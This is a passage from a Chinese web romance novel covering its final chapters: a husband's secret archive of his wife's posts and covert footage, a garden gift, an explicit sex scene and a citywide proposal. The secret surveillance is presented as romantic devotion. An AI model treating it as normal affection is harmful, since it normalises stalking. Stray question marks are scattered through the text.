直到察觉有脚步声靠近,她?怔然地望向门口。 白衬衫略显褶皱,翻开的领带也没有理回来,平日?一丝不苟的额发错落凌乱。 他风尘仆仆地,携满眼汹涌的暗潮,向她?走来。 第 81 章【VIP】 第81章 第 81 章 天气回暖, 小橘带了几只小伙伴回来,院里又增添两个猫碗。 大一岁的小橘比去年沉稳多了,趴在台阶下看两个小伙伴打架, 空气里飞着绒毛, 它眼皮微掀,懒洋洋, 脑袋挨着南惜的脚。 南惜也懒洋洋地靠在某人肩上。 池靳予腿上放着笔电,屏幕里,是那天被她发现?,他?却不给她看的文件夹。 里面的确没有什么不雅照片,全都是她这些年发布在社交平台的公开?照片, 以及一些动?态的截图。 数学考试算错一道大题,明明可?以得120分,好可?惜。 吐槽物理老师讲课像催眠,还批评她打瞌睡,让她站起来听了半节课。 体育课跑一次八百米, 要腿疼一周,她语气可?怜的抱怨。 最近班里流行吃冒菜, 校门口一对夫妻推着小推车卖,她尝了一次, 没大家说的那么好吃,太?辣。 毕业啦, 也成功申请到美国的学校,要出国念书, 她既兴奋又担忧…… 从她注册微博账号起, 所有开?心与不开?心,抱怨和欢喜, 生活的点点滴滴都被他?留存下来。 包括她和池昭明之间,偶尔秀恩爱,偶尔发牢骚,还有许多次说池昭明那个狗东西再?不分手她就是猪。 虽然每次说过那些,她依然没有分手。 真正分手后有关池昭明的一切都被她删了,但这里还留着,桩桩件件都在照片里,比她脑海中的记忆更清晰。 她十八岁生日?的照片,他?甚至做了一个小视频。视频最后一段,是她手里拿着仙女棒穿着粉色礼服,在夜色下铺满蓝眼泪的海水边跳舞。 她记得那时,海上突然放起了烟花,从十一点半一直放到零点过后。 她也记得自己?没拍过这段视频。 有什么东西冲进她脑海,一个可?能性打得她措手不及,南惜颤着声问?:“是你吗?那天。” 池昭明并没有给她准备烟花。 就连去平潭岛看蓝眼泪,也是她订好机票和行程,直接带他?和朋友们去的。 她提前做了很?久功课,才顺利看到蓝眼泪,可?似乎开?心的只有她自己?。 “嗯。”一切真相大白,他?没有再?瞒她,“是我。” 南惜眼睛红了,瓮着声:“你偷拍我……” 其实她想说的是,为什么躲起来偷拍她却不出现?,为什么送她那么盛大的烟花,却要等到那么多年以后,才慢慢走进她的生活。 男人目光如星海裹卷着她,一个轻吻落在她额头:“我能怎么办呢,那时你有喜欢的人。” 叹息,惆怅,尘埃落定的释然,全化在这一个温热的吻中。 如今他?得到了,圆满了,过去所有的隐忍和心痛都值得。 南惜仰起头,勾着他?脖子,软声:“所以你留着我的锁,是为了睹物思人吗?” 他?弯起唇:“嗯。” 南惜眨眨眼:“我五岁你就喜欢我了?” “……老婆,我没那么变态。”男人失笑?,摸了摸她胸前重新挂上的平安锁。 瞿敏英让人做的是松紧编绳,即便?她现?在戴,长度也合适。 小时候俏皮可?爱,如今清丽温婉,等到年纪再?大些,也越显贵气。 这锁原本是要陪她一辈子的,阴差阳错丢失多年,竟会这样回到她身边。 可?一想着这把锁在他?手里,她便?不觉得遗憾了。 至少那些艰苦难熬的日?子,在国外求医治疗双腿的漫长时光,被希望和绝望反复碾压的昏暗岁月中,她也算陪伴过他?。 “那是什么时候?”南惜兴致勃勃,刨根问?底,“你什么时候喜欢上我的?” “不记得了。”池靳予认真凝视着她,嗓音低缓地娓娓道来,像在讲一个浪漫的故事,“一直看着你,关注你,想知?道你过得好不好,我也没注意从什么时候开?始,这份关心变成了别?的。” “你为他?难过我也会难过,你为他?开?心我同样会难过,我希望你眼里的人是我,不是他?。” “笨蛋。”南惜亲了一口他?的唇,“池靳予,你真的是个笨蛋,你怎么不早点来抢我啊?” 他?回吻她,无奈轻叹:“每次你在微博骂他?的时候我真的很?想去抢你,可?你转头又被他?哄好,我想,你是有多喜欢那个人,多离不开?他?。” “我知?道和喜欢的人不能在一起是什么滋味。” 南惜眼眶一热,咬紧唇。 “如果我擅自出现?,你大概只会觉得是个奇怪的男人,一定要躲他?远点。”他?望着她,带几分揶揄,“不是吗?” 就像一开始他说想和她结婚,她知?道他?身份后抗拒的态度,要么把他?当?神经病,要么觉得他?图谋不轨。 南惜闭上眼,泪滚落下来,她仰头吻住他唇。 小橘趴在脚边打哈欠,两只干架的猫咪也累了,在鱼池边眯眼翻肚皮。 春暖花开?,阳光漫洒,满腹衷肠得见天光的男人抱着他?深爱已久的女孩,在庭前静静地接吻。 * 今年生日?,南惜取消了生日?宴,打算只和池靳予两个人过。 头天晚上回龙湖和家人聚餐,祁玥订了一个大蛋糕,提前给南惜庆祝生日?。 南俊良亲自为她戴上生日?帽,手有些颤抖,兴奋中似乎夹着些岁月的惆怅。 不知?不觉,女儿都长这么大了。 他?摸摸女儿的头,低声笑?道:“要乜有乜,掂过碌蔗。” 南惜笑?得眉眼弯弯:“谢谢爸爸。” 祁书艾举着酒杯插嘴:“姑父,要讲靓到爆镜啦。” 池靳予走过去,搂着南惜的腰,旁若无人地低头亲她一口:“老婆青春永驻。” 他?讲的是粤语,发音标准得听不出半点瑕疵,不知?道为这六个字练了多久。 南惜一阵感动?还没消化,很?快被祁书艾的声音打断:“我举报有人虐狗!” 祁景之瞥她一眼:“你算什么狗?” 祁书艾笑?话他?:“说你呢,跟嫂子吵架了吧?你这结了婚日 ?子过得和单身狗也没差别?啊。” “你知?道什么?”祁景之黑脸,嘴硬,“你嫂子最近工作忙,才住医院宿舍。” 祁书艾:“哎哟哟被分居了呀,好可?怜。” 祁书艾这张嘴,扎人心一扎一个洞,祁景之彻底不吱声。 关灯后黑暗的餐厅,粉色桃心蜡烛被点燃,璀璨的小烟花照亮南惜虔诚许愿的模样。 “希望爸爸妈妈,兄弟姐妹,所有的家人和朋友平安,健康。” “希望我永远都开?心。” 希望和池靳予一年又一年,永远幸福地过下去,希望他?们有一个可?爱的小宝贝。希望直到一百岁,他?也要每天说爱她。 南惜第一次许这么长的愿望。 她想起去年今天,被人簇拥的生日?宴会上,她沉浸在自己?的世界,默默许下的第三个愿望—— 希望和他?结婚,是一个正确的决定。 * 回家路上,南惜在副驾驶眯了一觉,醒来还没到和府街。 车窗外街景后退,许多老字号铺子,有人排着队买,有游客打卡拍照,大晚上还热闹得很?。 南惜认出这是郡王府附近。 “堵车了吗?为什么绕到这边?”她转回来,捂嘴打了个哈欠。 “去拿你的生日?礼物。” 南惜好奇地望向他?:“是什么?” “先保密。”一对老夫妇过马路,他?停车让行,也正好伸手摸她脑袋,“你看见就知?道了。” 车拐了个弯,进胡同。 这胡同似乎比别?的胡同宽,并排开?两辆车也不显逼仄,天黑了,里面却亮堂堂。 两边路灯好像是新的,仿古景观路灯,每一盏都精致漂亮,暖白灯光把路面照得足够清晰,也烘托出温馨的氛围。 车停在一扇古朴院门前,苏氏风格的白墙黛瓦,延伸到看不见的胡同深处。 南惜怔了怔:“这是……” “不是好奇谁买了那块儿地吗?”男人搂住她腰,低声,“5.2亩,是我送你的礼物。” 南惜愣在原地许久,直到手被他?牢牢攥住,十指相扣的力道让她回过神来。 “走吧,去看看你的礼物。”男人踏上台阶,推开?那扇庄严贵气的将军门。 穿过影壁,终于窥见园林一角。湖面被灯影勾勒,亭台楼阁掩映在茂盛的绿植中。 这些应该请了专业的灯光设计师,虽然是晚上,却不显得阴森,反倒是幽蕴含蓄的氛围让人不自觉沉浸其中。 “一部分树苗是新栽的,还没长起来,等过两年会更漂亮。”他?解释道。 垂花门是沉稳低调的暗红色,和老宅炫目的大红彩漆截然不同,穿过去就是内院。 月洞门隔开?一片小花园,幽香深处还立着座八角凉亭。 南惜跑进去转了一圈:“老公!在这儿喝咖啡吃点心一定很?享受!” “知?道你喜欢,特意为你设计的。”池靳予搂住她腰,低声,“还有定制软塌没送到。” 顿了顿,他?意味深长地说:“不止喝咖啡,吃点心,也能做别?的。” 南惜知?道他?在想什么,娇嗔:“你脑子一天天干净点儿。” 如此幽雅芬芳的花园,他?竟然想那种事。 男人盯着她眼睛,一本正经地胡言乱语:“我准备在每个院子里都放张软塌……” “池靳予!”南惜踮脚,咬了他?下巴一口,“闭嘴。” 他?不再?逗她玩,笑?着摸摸她脑袋,领她去看两人的居所。 主院在一扇气派又精致的砖雕门楼内。 南惜不太?懂这些设计,也能看出门楼的雕花有多复杂,从飞檐黛瓦落下来,每层都不重样。 水系所用的太?湖石她稍微懂点,一块块都这么大,运到京城简直劳民伤财。 她不知?道他?买这块地花了多少钱,更不敢想象打造这样大的苏式园林,又花了多少钱。 大门外没有牌匾,这里的门楼顶上却有石雕的两个字:惜园。 她认得他?的字迹。 “主楼地下有车库,平时回家不用走这么远。”他?牵她进门,淡淡地说。 南惜刚静下来的心脏又一个猛跳。 还有地下…… 她终于忍不住问?出口:“你到底用了多少钱?” “哪有问?生日?礼物要多少钱的。”池靳予笑?了笑?,站在她面前转过身。 南惜刚一开?口:“哪有生日?礼物送这——” 剩下的话音,都融进满院突然亮起的灯光。 影壁上的彩画,一张张全是她自己?。 有某月某日?在和府街院内,抱着小橘吃猫条的她,有工作累了趴在桌面上酣睡的她,有站在马耳他?海边和海鸟挥手打招呼的她,有新婚那日?穿着华丽婚服,珠翠满头回眸一笑?的她。 就像古代的美人图屏风,四面竖幅彩画组成这一面影壁。 “我不太?会用石头作画,这面墙的耗时超出预期。”他?站在身边,揽过她肩膀,“不然过年就该带你搬新家。” 【正文完】 第82章 正文完 南惜说不出话, 好像瞬间?嗓子哑了,她找不到自己的声音,脑袋也仿佛被糊住, 没办法?正常运转。 她没有办法?回应他。 “惜惜, 从你答应嫁给我那天,我就发誓会完成你所有的心愿。”他侧过头, 呼吸落在?她发心,认真而虔诚,“这个?承诺,一辈子都管用。” 他岂止是完成她心愿,他就像一个?魔法?师, 总能?给她超出预期的惊喜。 屋内装饰古色古香,却融入了整体化智能?家居,所有物品的摆放也都按照她在?和府街的使用习惯。 这里的一切都好像为她量身设计。 今晚满月高悬,卧室窗外湖景潋滟。 树影漂浮在?夜空之上?,裙子背后的绑带也早已落到腰上?, 和一团裙摆揉在?一起,不一会, 传来布帛裂开的声音。 南惜张嘴想要控诉,却只能?发出断断续续的单音节。 男人抬高她腰, 将?碍事的全部扯开,跪在?软塌上?, 往前,她咬住唇差点哭出来。 他对她的疼爱, 怜惜, 有求必应,在?这种时候全部失灵。 明知道他喜欢听她这样哭, 柔弱起伏的音调就像是给他唱战歌。每次都想着争气一点,不让他得逞,可他总有法?子再让她哭。 浸透的软塌冰凉,他垫上?自己的外套,依旧没打算放过她。 月亮好像从左边挪到了右边,她不确定,是不是自己脑子被晃出了问题,连左右都不分。 但树林里的鸟叫声已经歇了,她还没歇。 明明已经听见那句“生日快乐”,温柔地将?她耳朵灼烫。她的身体也被灼烫,被翻过去,又听见包装撕开的声响。 软塌边缘的黄花梨木依稀被她的指甲划出痕迹,就像那人早已惨不忍睹的背。 以前她不能?理解为什么要说男人血性,大概是流越多的血,越受伤越疼,他就越振奋。 浴缸是按摩的,凌晨一点半,浑身酸软和疲惫才终于得到缓解。 隔开浴缸和浴室的竹叶屏风,南惜看?着看?着憋不住笑。 池靳予问她笑什么。 沾满水的手指抬起来,抵着他下巴,说:“竹可是‘四君子’之一,清雅,淡泊,你现在?这副模样,跟哪个?字搭边?” 男人沉声笑着,将?她指尖亲了亲:“那换一张?” 南惜深以为然:“是该换一张。” “等我。”他放开她,起身。 南惜赶紧蒙住眼。 他揶揄地笑了下,就这么走出去。 没多久,还是这副样子回来。 南惜以为他多少会披件衣服,猝不及防,脸颊和耳朵尖再次红透。 “你能?不能?注意点形象……” 就那么吊着,大摇大摆走进走出。 她没他那么臭不要脸,看?了一年还是会难为情。 “注意形象?”水花声起,磁沉嗓音落到她耳边,“你是没见过还是没吃过?” 南惜咬唇嗔他一眼,瞥他手:“拿的什么?” “选选。”他把手里的册子递给她。 一股陈旧书页的气味扑进鼻腔,古朴的蓝色线本,封皮早已褪色。 她翻开第一页,懵了,差点掉到浴缸里。 池靳予笑着接住:“当心点儿,这可是古董。” “什么古董啊?这么……”南惜语言系统混乱,想不到一个?贴切的词来形容刚才闯进眼中的震撼画面。 “不是很?适合放在?这儿?”男人淡定翻着页,还将?她搂到怀里一起看?,“你喜欢哪张?或者你挑一个?姿势,我重?画也行,画我们俩。” 南惜整只脑袋都烧起来:“池靳予你认真的?” “都不喜欢?”他低头亲了她一口?。 “……太过了。”南惜戳戳他锁骨,正色道,“以后还有宝宝要住呢,看?这些真的好吗?” “等有了宝宝再换。”男人好整以暇勾着唇,“况且这是我们俩的房间?,宝宝不会住。” 这院子只属于他们,他都没打算让保洁和工人进。 考虑到宝宝有可能?误入,这样露骨的画面的确不合适,但他并不准备允许二人世界被侵占。 未来孩子会有自己的房间?。 “选一张?”他还没放弃,呼吸烫到她耳朵。 南惜缩了缩脖子,太难为情:“……你自己选。” “得你喜欢。” “……” “那我选个?你喜欢的。”小册子被他放到旁边,水花晃动,南惜被牵着坐到他身上?,背紧紧贴住她胸膛,“你喜欢这样,对不对?” 南惜浑身一酥,本不想给他面子,还是悠长颤抖地“嗯”了一声。 他对她的身体了如指掌,胜过她自己。 * 这一年的星火慈善夜,邀请业内各大基金会的领头人物,和一些在?慈善界赫赫有名?的企业家。 南惜也受邀在?列。 这一年来,她主营的视频号越做越火,用亲身经历鼓舞更多年轻人加入,同时也协助施明琅办下几场成功的慈善活动,声名?大噪。 在?最?激动人心的时刻,晚会主持人念出她名?字,成为星火年度十大人物的最?后一个?,压轴出场。 她接过主持人递来的话筒,毫无准备,却游刃有余地开口?。 “不说废话,算一笔账吧。”台下数不清的眼睛望着,她轻松地笑了笑,“去年8月至今,我们公司接受捐赠70.28亿,其中32.53亿来自慈善拍卖和慈善活动,其余都是网络捐款。我们资助了八百多万贫困大学生,新建58所希望中小学,定期给关爱地区赠送物资,超过20亿。而这些数字只是开始,往后会越来越多。” “有人觉得我们是博眼球,假惺惺,或者高高在?上?秀优越感。叫我们这些有钱人滚回自己的地盘,不要出现在?穷人面前。说这些话的人我只能?告诉你,你不够穷,你没有资格为真正的穷人代言。但如?果有一天,你沦落到需要资助的境地,你还是可以来找我。” “曾经我想工作的时候,我先生对我说,工作是需要信念感的,或为生存,或为名?利,或为家族,如?果都没有,那就是人类最?崇高的理想。” “我不想说自己多崇高,我们只是一群有同样理想的人聚在?一起,去做一件自以为该做的事,就算被嘲笑,被误解,只要还有人需要,我们会一直做下去。” 从那些数不清的目光里,她捕捉到熟悉的璀璨星芒。 她望着他,眼底温柔绽开:“最?后要感谢我先生,无条件支持,理解和包容,有他在?背后,我才能?一往无前。” 舞台追光灯给到他,南惜看?清他的模样。 打理过的精致发型,完整的三?件套西装,戴着她七夕送的领针和两人的情侣手表,黑曜石手串闪闪发光。 西装和她的礼服一样,是藏青色。 他似乎很?执着于情侣装。 晚会结束,两人一起从礼堂出来,被一群记者围堵。 各种问题层出不穷,嘈杂得几乎听不清。 但有一道声音尤其尖锐:“请问池太太,池先生在?您的事业成功里究竟扮演什么角色?您之所以能?有今天,是因?为池先生的助力?吗?” 池靳予原本想护着她直接出去,眉心却忽然一皱。 他停下脚步,如?墨般深沉的目光带着寒气扫向那个?记者。 周围好像被他的眼神冻住,不再有人说话。 空旷礼堂前,只听见男人压抑着怒气,义正辞严的嗓音:“首先,谈及工作请叫南小姐,或者南总。” “另外,我们虽是夫妻,但不干涉彼此事业,南总的成就属于她自己。如?果再让我听见类似言论,我一律视为诽谤,如?果你不介意收法?院传票,新闻稿尽管这样写。” 这人动不动给人送法?院传票的行径,去年从微博闹得人尽皆知。一群记者瞬间?噤声,连呼吸都小心翼翼。 直到一位女记者顶着压力?发问:“池先生,您会介意南总的成就超过您吗?作为她的丈夫,您认为女性应不应该比男性更强势?” “抱歉,没有比较过这些,也不会比较。”池靳予态度稍缓和,望向那个?女记者认真回答,“至于你问的该不该更强势,如?果是工作,我期待她强势一些,把曾经看?不起她的男人都压在?脚下,她完全有这个?能?力?。如?果是生活——” 他笑了笑,温柔目光看?了眼怀中女人:“我一直听我夫人的话,她当然要强势。” 说完,他把人护在?怀里,头也不回地走下台阶。 * 经过小吃街,南惜让池靳予把车停下,她去买一份章鱼小丸子。 拉风的库里南就这么停在?接地气的小吃街路边,南惜刚下车,发现他也跟了过来。 空气里都是各种小吃混合的味道,不太好闻,池靳予皱了皱眉,将?她手拉住:“小心,别溅到。” 旁边是铁板豆腐摊贩,油温高,噼里啪啦的响。 南惜乖顺地偎进他怀里:“不是让你在?车上?等吗?” “我看?看?是什么占着你肚子,饭都吃不下。” “哼。” 南惜买了一份章鱼小丸子,香喷喷热乎乎的,递到他面前:“吃不吃?” 男人别开眼。 她知道,小时候的事一直都在?他心底,没有人为他开解,经年累月绕成一个?死结。 他不像她,有那么多的爱温暖着,就算被伤害过,伤口?也早已被抚平。 “真的很?好吃。”南惜若有所思地盯着他,故意在?他面前嚼得很?夸张,“尝尝吗?” 他眼神还是抗拒。 南惜没打算今天就给他下猛药,自己吃光。 看?着他扔完垃圾回来,突然勾住他脖子,踮起脚尖亲了他一口?。 光天化日朗朗乾坤,南惜第一次如?此奔放地亲他。 在?男人错愕的眼神中,女孩的目光狡黠又认真:“是不是特别香?” 他承认,那一瞬间?,心口?像有什么被剥落。 两人沿着街道转一转,路过一个?小区门口?的广场,目光被喧闹人群吸引过去。 玫瑰花装饰的简易台子,镭射粉气球贴成一串marry me. 氛围灯在?地面围绕出爱心的形状。 穿着西装的男人在?一身白裙的女孩面前单膝跪地,诚挚地开口?:“媛媛,我爱你,嫁给我吧。” 周围的人疯狂叫着“嫁给他”。 南惜看?着女孩捂嘴流泪的感动模样,眼眶也微微发热。 她听见头顶低沉如?叹息的嗓音:“你嫁给我,幸福吗?” 南惜“噗呲”一笑,仰头对他弯唇:“当然幸福啦。” 他望着她,眸色深深:“有没有遗憾?” “……偶尔吧。”她没有说谎,看?着女孩被郑重?求婚的时候,确实?有那么一瞬间?,想到自己这场说结就结的婚,“但不重?要了。” “我想吃刚才那个?。”男人突然说。 她错愕地睁大眼睛,不敢置信:“章鱼小丸子吗?” “嗯。”他笑着点头。 “那我去买。” “好。” 小吃街就在?拐角,池靳予看?着她站在?摊位前等,而他站在?路边的梧桐树下,打了通电话。 南惜监督他吃完一整碗,问要不要回家。他说再走走。然后带着她走向对面繁华的商圈,八面大屏幕播放着不同的明星广告。 “你知道吗,小时候我也想过当明星。”南惜笑了笑,站定在?斑马线边的路口?,没打算再往前。这个?位置看?广告牌,视野最?好,“那样可以把我的照片投在?这些大屏幕上?,给很?多人看?到。” “那也不一定要当明星。”身后男人温柔的嗓音笼罩住她,还有他温暖的怀抱。 “你想的话,随时都可以。” 一瞬间?,所有大屏幕变幻成同样的画面。 不再是明星海报,而是她十八岁时,拿着仙女棒在?烟花璀璨中回眸的笑颜。 她惊愕地捂住嘴巴,再眼睁睁看?那些屏幕变成两行闪着光的字—— 南惜,嫁给我吧。 永远当我的公主。 紫色花瓣从天际落下,整个?城市像落了雪。 穿过树梢,落满街道,落在?两人的身上?。 呼吸间?盈满玫瑰的香气。 在?她眼前单膝跪地的男人,手中拿着一枚花朵形状的紫色钻戒。 “嫁给我吧,惜惜。”花瓣将?他的目光折射,泛着浅紫的光晕,唯美?又浪漫,“我永远不会让你有遗憾。” 街道空空荡荡,这一场求婚无人观赏,无人喝彩,却又满城皆知。 戒指是贺她得奖的礼物,换了个?名?头,还是圈在?她无名?指上?。 就像她喜欢过错的人,走过岔路,终究带着满身光芒,降落他身边。 从此朝朝暮暮,岁岁长相见。 (正文完)